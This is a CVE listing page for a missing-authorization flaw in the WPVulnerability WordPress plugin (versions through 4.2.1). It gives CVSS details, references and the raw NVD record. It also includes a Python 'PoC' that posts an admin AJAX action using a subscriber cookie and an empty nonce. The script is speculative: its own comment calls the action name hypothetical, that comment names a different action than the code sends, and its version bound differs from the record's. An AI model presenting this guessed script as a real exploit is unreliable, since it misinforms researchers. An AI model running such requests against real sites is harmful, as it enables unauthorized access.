CVE-2026-24376

Description

Missing Authorization vulnerability in Javier Casares WPVulnerability wpvulnerability allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPVulnerability: from n/a through <= 4.2.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WPVulnerability <= 4.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: WPVulnerability < 4.2.1 - Missing Authorization PoC
# Description: Low-privileged users can access admin functionality due to missing capability checks.

target_url = "http://target.com/wp-admin/admin-ajax.php"

# Attacker cookies with low privileges (Subscriber level)
cookies = {
    "wordpress_logged_in_xxx": "low_priv_user_session_id"
}

# Data payload simulating the vulnerable action
# The specific action 'wpvuln_db_check' is hypothetical based on plugin naming conventions
payload = {
    "action": "wpvulnerability_check",
    "nonce": "" 
}

try:
    response = requests.post(target_url, data=payload, cookies=cookies, timeout=10)
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Response content:")
        print(response.text)
    else:
        print("[-] Failed to send request.")
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24376
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24376
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24376/
[4] VulDB https://vuldb.com/cve/CVE-2026-24376
[5] https://patchstack.com/database/Wordpress/Plugin/wpvulnerability/vulnerability/wordpress-wpvulnerability-plugin-4-2-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24376", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:37.930", "lastModified": "2026-04-28T15:16:07.810", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Javier Casares WPVulnerability wpvulnerability allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPVulnerability: from n/a through <= 4.2.1."}, {"lang": "es", "value": "Vulnerabilidad por falta de autorización en Javier Casares WPVulnerability wpvulnerability permite la explotación de niveles de seguridad de control de acceso mal configurados. Este problema afecta a WPVulnerability: desde n/a hasta <= 4.2.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpvulnerability/vulnerability/wordpress-wpvulnerability-plugin-4-2-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}